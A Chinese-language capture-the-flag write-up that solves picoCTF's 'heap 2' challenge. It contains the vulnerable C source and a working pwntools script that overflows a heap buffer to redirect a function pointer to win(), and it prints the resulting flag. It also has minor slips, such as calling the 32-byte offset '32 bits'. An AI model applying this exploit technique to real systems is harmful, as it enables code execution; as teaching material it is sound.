看到題目,看到題目問我們能否處理 pointers ( 指標 ),並且提示告訴我們要注意 endianness。
hint 1:Are you doing the right endianness?
我們先將題目給予的檔案下載,會得到兩個檔案。
$ ls -l
-rw-rw-r-- 1 user user 20416 Mar 12 18:42 chall
-rw-rw-r-- 1 user user 1872 Mar 12 18:42 chall.c
因為提示有說要注意 endianness,所以我們用 exiftool
查看 chall 的詳細資料,發現是 little endian 的 elf 檔案。
$ exiftool chall
ExifTool Version Number : 12.40
File Name : chall
Directory : .
File Size : 20 KiB
File Modification Date/Time : 2024:03:12 18:42:21+00:00
File Access Date/Time : 2024:08:04 05:05:58+00:00
File Inode Change Date/Time : 2024:08:04 05:05:58+00:00
File Permissions : -rw-rw-r--
File Type : ELF executable
File Type Extension :
MIME Type : application/octet-stream
CPU Architecture : 64 bit
CPU Byte Order : Little endian
Object File Type : Executable file
CPU Type : AMD x86-64
連上題目給予的網址,會得到下列的輸入提示。輸入 1 和 3 後,知道 x 是在 0x63b2d0 位置的值。
$ nc mimas.picoctf.net 65448
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x63b2b0 -> pico
+-------------+-----------+
[*] 0x63b2d0 -> bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 3
x = bico
因為 0x63b2d0 和 0x63b2b0 之間差了 32 個 bits ,所以輸入 " 8 * 'pico' + 1234 "
,才能夠將 x 的值更改成 1234。
Enter your choice: 2
Data for buffer: picopicopicopicopicopicopicopico1234
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 3
x = 1234
接著來看題目給的原始檔,以下是完整 code 。
可以發現輸入 4 會呼叫 check_win() 這個函式,其功能是會存取 x 這個指標指向的位置。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
int num_allocs;
char *x;
char *input_data;
void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
void print_menu() {
printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
fflush(stdout);
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x, x);
fflush(stdout);
}
int main(void) {
// Setup
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print x
printf("\n\nx = %s\n\n", x);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
於是我們知道,若將 x 指向 win() 函式的地址,就能夠呼叫 win()
,印出 flag.txt 的資訊了。
所以我們使用 readelf,查看 win() 這個函式被儲存在哪裡,如此才知道 x 要指向哪裡。
發現 win() 在 0x00000000004011a0 的位置,但因為是 little endian,所以要將位置顛倒過來,變成 0xa011400000000000。
$ readelf -s chall | grep 'win'
27: 00000000004011f0 17 FUNC GLOBAL DEFAULT 14 check_win
38: 00000000004011a0 66 FUNC GLOBAL DEFAULT 14 win
使用 pwntool ,首先連上網址,再來用 sendline
輸入 2,並用 recvuntil
接收到 buffer 這個詞後,填入 pico *8+\xa0\x11\x40\x00
,最後再輸入 4 ,回傳 x 得到的內容 ,這裡 x 會指向 win(),所以 x 的內容應該是 flag.txt 。
至於為甚麼只要輸入 \xa0\x11\x40\x00,是因為 check_win() 中,把 x 轉換成 int * ,總共 32 bits,所以填入 \xa0\x11\x40\x00
就足夠了。
#!/usr/bin/env python3
from pwn import *
p = remote("mimas.picoctf.net", 65448)
p.sendline(b"2")
p.recvuntil(b"buffer:")
p.sendline(b"picopicopicopicopicopicopicopico\xa0\x11\x40\x00")
p.recvuntil(b"choice:")
p.sendline(b"4")
print(p.recvall())
執行檔案後,得到 flag。
$ ./script.py
[+] Opening connection to mimas.picoctf.net on port 65448: Done
[+] Receiving all data: Done (43B)
[*] Closed connection to mimas.picoctf.net port 65448
b' picoCTF{and_down_the_road_we_go_dde41590}\n'
小結:
學會 pwntool 寫法,以及如何用指標。